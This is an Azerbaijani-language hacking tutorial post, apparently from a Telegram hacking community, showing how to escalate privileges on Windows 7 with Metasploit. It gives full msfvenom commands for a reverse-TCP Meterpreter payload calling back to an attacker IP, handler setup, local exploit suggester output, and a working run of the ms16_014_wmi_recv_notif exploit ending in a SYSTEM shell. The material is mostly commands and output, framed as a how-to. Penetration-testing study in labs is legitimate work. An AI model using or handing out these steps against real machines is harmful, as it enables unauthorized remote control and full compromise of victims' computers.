Windows mühitində işləyərkən Metasploit PrivEsc necə həyata keçirilir?Windows Metasploit ilə PrivEsc necə həyata keçirilir?Metasploit ilə PrivEsc nədir? Windowsun Metasploit ilə PrivEsc nədir?ms16_014_wmi_recv_notif
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
Metasploit ilə PrivEsc
Metasploit alətinin Privelege Escalation əməliyyatını yerinə yetirmək üçün bir çox geniş imkanları vardır.Bir çoxları tərəfində elə də istifadə olunmasada Nüvə exploitlərin tapılmasında eləcədə belə hallarda PrivEsc üçün tətbiq edilir.Aşağıdakı əməliyyatlar ilə PrivEsc necə edəcəyimizi göstərilmişdir:
- İlk öncə hədəfdən Meterpreter shell əldə etməliyik.
- Shell əldə etdikdən sonra getsystem kommandasını ilə ilk cəhdimizi yerinə yetirək.(Bu kommanda Windows x86 sisteminin köhnə versiyalarında işə yarayır)
- Daha sonra local exploit suggester modulunu tətbiq edərək, PrivEsc üçün real namizəd olan zəiflikləri göstərəcəkdir.
- Tövsiyə olunan bütün modulları bir bir yoxlayın və nəticəni əldə edin.
İndi isə keçək praktiki hissəsinə.İlk öncə Kali Linux cihazımızda Meterpreter shell əldə etmək üçün MSFVenom ilə payload hazırlayırıq.
┌──(root㉿kali)-[~]
└─# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.9.3.63 LPORT=4444 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201798 bytes
Final size of exe file: 208384 bytes
Metasploit daxilindəki handler modulundan istifadə edərək, qeyd etdiyimiz portu seçilmiş payload ilə uyğun olaraq dinləməyə alırıq.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.9.3.63
lhost => 10.9.3.63
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.9.3.63:4444
msf6 exploit(multi/handler) >
Yaratdığımız shell.exe payloadunu hədəf Windows cihazında ötürürük və onu məhdud səlahiyyətli istifadəçi hesabından icra edirik.Listenerə qayıtdığımızda hədəf cihazdan shell gəldiyini görə bilərik.
msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.9.3.63:4444
msf6 exploit(multi/handler) > [*] Meterpreter session 1 opened (10.9.3.63:4444 -> 10.10.96.90:49215) at 2025-05-23 16:40:11 -0400
sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows TCM-PC\user @ TCM-PC 10.9.3.63:4444 -> 10.10.96.90:49215 (10.10.96.90)
Əhsən bizə!İndi isə hədəfdən gələn meterpreter shellə daxil oluruq və sistem haqqında informasiya əldə edirik.
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : TCM-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
Diqqət yetirməli hissə budurki, x64 Meterpreter payload elə Windows x64 versiyasında işləyir.
Məhz buna görədə payload generasiya edərkən hədəf cihaza yönümlü payloadla generasiya etmək işinzi rahatlaşdıra və keyfiyyətini artıra bilər. İndi isə getsystem kommandasından istifadə edək.
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: 1726 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)
getsystem kommandasının uğursuz olmağı normaldır, səbəbi ilə onun yalnız Windows x86 ƏS köhnə versiyalarında (məsələn:Windows 2003/XP) işləməsidir.Digər yol olan local exploit suggester-dən istifadə edərək PrivEsc üçün uyğun namizədləri siyahılayacaqdır.(Bunu etməzdən əvvəl Meterpreter shellini arxa fona keçirməliyik)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.96.90 - Collecting local exploits for x64/windows...
[*] 10.10.96.90 - 195 exploit checks are being tried...
[+] 10.10.96.90 - exploit/windows/local/always_install_elevated: The target is vulnerable.
[+] 10.10.96.90 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 10.10.96.90 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.96.90 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 10.10.96.90 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] 10.10.96.90 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 10.10.96.90 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
[+] 10.10.96.90 - exploit/windows/local/cve_2021_40449: The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
[+] 10.10.96.90 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 10.10.96.90 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.96.90 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.96.90 - exploit/windows/local/ms15_078_atmfd_bof: The service is running, but could not be validated.
[+] 10.10.96.90 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 10.10.96.90 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
Siyahını ümumi olaraq bir bir yoxlamağınız məsləhətdir, amma biz zaman itkisi yaşamayaq deyə sondan ikinci olan moduldan istifadə edəcəyik.
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_014_wmi_recv_notif
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > set session 1
session => 1
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > set payload windows/x64/meterpreter_reverse_tcp
[-] The value specified for payload is not valid.
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > set LHOST 10.9.3.63
LHOST => 10.9.3.63
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > set LPORT 5555
LPORT => 5555
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > run
[*] Started reverse TCP handler on 10.9.3.63:5555
[*] Reflectively injecting the exploit DLL and running it...
[*] Launching netsh to host the DLL...
[+] Process 1232 launched.
[*] Reflectively injecting the DLL into 1232...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (201798 bytes) to 10.10.96.90
[*] Meterpreter session 2 opened (10.9.3.63:5555 -> 10.10.96.90:49266) at 2025-05-23 17:06:30 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Gördüyünüz kimi biz hədəf SYSTEM səlahiyyətləri ilə bağlana bildik, hətta Administrator hesabına belə ehtiyac olmadan, ondan daha səlahiyyətli SYSTEM hesabı ilə hədəf cihazı idarə edə bilərik.
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat